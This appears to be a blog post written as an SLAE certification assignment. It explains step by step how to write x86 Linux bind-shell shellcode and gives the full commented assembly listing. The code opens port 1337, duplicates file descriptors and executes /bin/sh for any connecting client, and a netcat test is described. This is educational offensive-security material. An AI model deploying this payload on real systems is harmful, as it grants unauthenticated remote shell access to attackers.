This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1342

Hey Shellcoders,
   I've enrolled myself in SLAE course 2 months ago maybe and last week I finally get enough motivation to start working on it. So today I'm writing this post as the part of the assignment where I was given a task to create a Bind TCP shellcode.
  • Bind to a port
  • Execs Shell on incoming connection
  • Port number should be easily configurable
First let's see how Bind TCP shell will work theoretically. Have a look at this below image first,


So basically a port will be open in the victim machine and the attacker will connect to the victim machine from that particular open port. This is just the basic that you need to know first. Alright let's begin so first we need to check the equivalent C code for the assembly. For that I went to my favorite website Geeksforgeek [Here]

It gives us a rough idea about what syscalls we will be needing in our journey.
  • socket()
  • bind()
  • listen()
  • accept()
 Alright so these are the syscalls that we need to use, but how would we be able to call them? Well for that we will need socketcall()


Okay so " NR_Socketcall " is at 102 , in hex it's value would be 0x66.

Now in assembly we can't write like use bind() instead the particular value is assigned to each calls. Now we need call number's for the socket,bind,listen,accept and connect call's

Okay we will need 1 to 5 AF_MAX values xD amazing, now let's begin with the assembly code.


 Your assembly must have _start in the code so it will understand that the code will begin from that point. Also one interesting fact in .text section there won't be any ASCII readable text. Quite weird, isn't it? Anyways, now start writing in the _start:


 We all learned about basic Boolean XOR operation in our high school. There a very beautiful property of XOR which we are using here,

 The property says , XOR something with something will always be 0. Here I am refering something to a value that are same.

So, " xor eax, eax " will be NULL the eax register , same with “xor ebx,ebx” ebx register and same with “xor ecx,ecx” ecx register. Whereas to save our 1 byte we used cdq because the CDQ instruction copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register..


Everything is explained in the comment, let me clear some stuffs. In assembly we use " ; " semicolon to comment something.
  • EAX- System call number
  • EBX- First argument
  • ECX- Second argument
  • EDX- Third argument
  • ESI- Forth argument
  • EDI- Fifth argument
In the end when everything is done we use " int 0x80 " to interrupt the call. In normal language it's like calling kernel giving them all register value and using those value kernel will do the work and get it done for us. Ess Pzz?


 It will call bind() , also if you wanna change the port number then you can simply change " push word 0x3905 " with your hex value of your port number.


listen() will actually put the server socket in passive mode where it will wait for the client to send the request to make a connection.


accept() will just accept the connection and the connection will established between server and the client. Now we will need dup2() , Read more about from [Here]

First thing first, we need to find the dup2 syscall number.

So, it is 63 but it's hex value would be 0x3f ,

Here we are using loop for duplicating in , out and error with the file descriptor. Now here we are left with the final thing.


This is the basic execve() shellcode. It will just pop the " /bin/sh " shell for us xD . Read more about it. [Here]
; Author: Shubham Singh
; SLAE - 1342
; Assignment 1: Bind TCP Shellcode / Linux x86
global _start
section .text
_start:
;xor something with itself is 0
xor eax,eax ; eax will become 0
xor ebx, ebx ; ebx will become 0
cdq ; edx will become 0
; socket(AF_INET,SOCK_STREAM, 0)
mov al, 102 ; socketcall() syscall number is 102 in decimal
inc ebx ; ebx will be 1 now
push edx ; 0 will be pushed on stack
push byte 0x1 ; SOCK_STREAM=1
push byte 0x2 ; AF_INET=2
mov ecx, esp ; now ecx will have the value that points to top of the stack address
int 0x80 ; intrupt sys call, now access will go to kernel
xchg esi, eax ; The return value of eax will be store in esi register which will be used as the file discripter.
; bind(*fd, (2, port , 0), 16)
xor eax, eax
mov al, 0x66 ; socketcall() syscall number is 102 in decimal
inc ebx ; ebx will be 2 now
push edx ; push 0 on the stack
push word 0x3905; push 1337 in hex on the stack
push bx ; push 2 on the stack
mov ecx, esp ; ecx will point to the esp
push 0x10 ; push 16 of decimal in hex on the stack
push ecx ; push the address that ecx holds on the stack
push esi ; push the fd address on the stack
mov ecx, esp ; again ecx will point to the top of the stack
int 0x80 ; intrupt sys call
; listen(*fd, number_of_listners)
xor eax, eax
mov al, 0x66 ; socketcall() syscall number is 102 in decimal
inc ebx ; increase ebx by one, now ebx=3
inc ebx ; increase ebx by one, now ebx=4
push ebx ; push 4 on the stack for number of listners
push esi ; push the file discripter address on the stack
mov ecx, esp ; point top of the stack to ecx
int 0x80 ; intrupt sys call
; accept(*fd, NULL , NULL)
mov al, 102 ; socketcall() syscall number is 102 in decimal
inc ebx ; increase ebx by one, now ebx=5
push edx ; push 0 on the stack
push edx ; push 0 on the stack
push esi ; push the address of file discriptor on the stack
mov ecx, esp ; point top of the stack to ecx
int 0x80 ; intrupt sys call
xchg ebx, eax ; exchange the value of ebx and eax register values
;dup and dup2 ; duplicate the file descriptor
xor ecx, ecx ; 0 the value of ecx register
mov cl, 0x2 ; move the value of 2 in lower ounter register
loop: ;define the loop
dec ecx ; decrement the value of cl register by 1
mov al, 0x3f ; move the value 0x3f of hex in al register
int 0x80 ; intrupt the sys call
jns loop ; jump if non sign
; execve(const char *filename, char *const argv[],char *const envp[]);
xor ecx, ecx ; 0 the ecx register
push ecx ; push 0000 on the stack
push byte 0x0b ; push 11 on the stack
pop eax ; pop out the 11 in eax register
push 0x68732f2f ; push sh\/\/ on the stack
push 0x6e69622f ; push nib/ on the stack
mov ebx, esp ; move the value of top of the stack register in ebx
int 0x80 ; intrut the sys call



In top most pane I've just assembled and linked the assembly file / object file. In pane 2 i.e bottom left just " netstat -l " command is running to check if the port 1337 is opened and in listening mode.

In pane 3 the bottom of the right side , I have just shown my IP address to tell I am different host (But in the same network)

In pane 4 the middle one from the right side. I'm using nc command which is short for netcat to connection to the Ubuntu box where port 1337 is running.

Thanks,
Continue Reading